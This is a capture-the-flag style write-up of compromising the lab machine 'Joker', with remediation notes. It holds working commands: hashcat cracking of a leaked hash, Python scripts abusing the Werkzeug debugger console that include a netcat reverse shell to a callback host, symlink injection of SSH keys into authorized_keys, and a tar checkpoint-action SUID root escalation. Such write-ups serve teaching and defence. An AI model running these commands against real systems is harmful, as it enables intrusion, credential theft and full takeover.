Joker
Summary
Recon (nmap -p- -T4) showed only two open TCP ports: 22/ssh and 3128 (Squid 3.5.12 proxy), which rejected anonymous use with 407 Proxy Authentication Required. A supplementary UDP top-ports scan found 69/udp (tftp) open|filtered. Anonymous TFTP get passwords retrieved a one-line credential file containing an apr1 (MD5-crypt) htpasswd hash for user kalamari. Offline cracking of this hash recovered the plaintext ihateseafood.
Authenticating to the Squid proxy as kalamari:ihateseafood and proxying to localhost exposed a Flask/Werkzeug 0.10.5-dev (Python 2.7.12) application, including its interactive debugger console at /console. The Werkzeug debugger PIN/secret ([REDACTED: recovered credential]) was known/derived, allowing arbitrary Python execution through the debugger's exec endpoint — an unauthenticated-to-authenticated RCE via the exposed Werkzeug debug console (classic Werkzeug debug-PIN RCE, CVE-2015-related class of issue). This gave a shell as uid=1000(werkzeug), upgraded to a full TTY reverse shell via bash -i >&/dev/tcp/... and a mkfifo/nc fallback.
Enumeration from the werkzeug foothold found /var/www/testing, a web-app content directory writable by werkzeug, and confirmed the target account alekos (whose group membership includes werkzeug). Using an in-app "editor"/template-write feature reachable under /var/www/testing, a symlink was placed at var/www/testing/foo/layout.html pointing to /home/alekos/.ssh/authorized_keys; the app's write-through-template mechanism was then abused to push an user-generated ed25519 public key through that symlink, appending it to alekos's authorized_keys and yielding direct SSH access as alekos (uid=1001).
As alekos, /home/alekos/development contained GNU tar checkpoint artifacts (--checkpoint=1, --checkpoint-action=exec=sh shell.sh, shell.sh) — a GTFOBins-style GNU tar checkpoint-action local privilege escalation, indicating a root-run scheduled/automated tar job over that directory. shell.sh was leveraged to drop a SUID root shell (/tmp/rootbash), and invoking /tmp/rootbash -p yielded uid=0, completing the escalation to root and giving access to root.txt.
Impact: full root compromise of Joker via chained misconfigurations — anonymous TFTP credential leak → weak/reused Squid proxy password → exposed Werkzeug debug console RCE → symlink-based SSH key injection into alekos → GNU tar checkpoint-action root privesc.
Attack path — how the box was taken
Exact commands 2
nmap -p- -Pn --min-rate 2000 -T4 -sV $TARGETnmap -sU --top-ports 100 -Pn -T4 $TARGETExact commands 2
tftp $TARGET -c get passwordshashcat -m 1600 -a 0 '$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0' /usr/share/wordlists/rockyou.txtFixDisable anonymous TFTP or remove credential files from the TFTP-served directoryCritical
Exact commands 3
curl -s -i -x http://$TARGET:3128 http://$LOOPBACK/consolepython3 - <<'PY'
import urllib.parse, urllib.request
proxy = 'http://$TARGET:3128'
secret=[REDACTED: protected value]
cmd = "__import__('subprocess').check_output(['id'])"
url = 'http://$LOOPBACK/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
print(opener.open(url, timeout=10).read())
PYpython3 - <<'PY'
import urllib.parse, urllib.request
proxy = 'http://$TARGET:3128'
secret=[REDACTED: protected value]
cmd = "__import__('subprocess').Popen('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $CALLBACK_HOST 4445 >/tmp/f', shell=True)"
url = 'http://$LOOPBACK/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
opener.open(url, timeout=5)
PYFixDisable the Werkzeug interactive debugger in all non-development environmentsCritical
Exact commands 3
ssh-keygen -t ed25519 -N '' -f /tmp/joker_alekos_keymkdir -p /var/www/testing/foo && ln -sf /home/alekos/.ssh/authorized_keys /var/www/testing/foo/layout.htmlecho 'ssh-ed25519 <PASTE_CONTENTS_OF_/tmp/joker_alekos_key.pub>' > /var/www/testing/foo/layout.htmlFixPrevent the application's file-write feature from following symbolic links outside the web rootCritical
Exact commands 1
ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alekos@$TARGET 'id; cat ~/user.txt'Exact commands 3
ssh -i /tmp/joker_alekos_key alekos@$TARGET 'ls -la /home/alekos/development/'ssh -i /tmp/joker_alekos_key alekos@$TARGET 'echo -e "#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash" > /home/alekos/development/shell.sh && chmod +x /home/alekos/development/shell.sh'ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 alekos@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixNever run tar or wildcard-expanding commands as root over directories writable by unprivileged usersCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh |
| 3128/tcp | squid-http |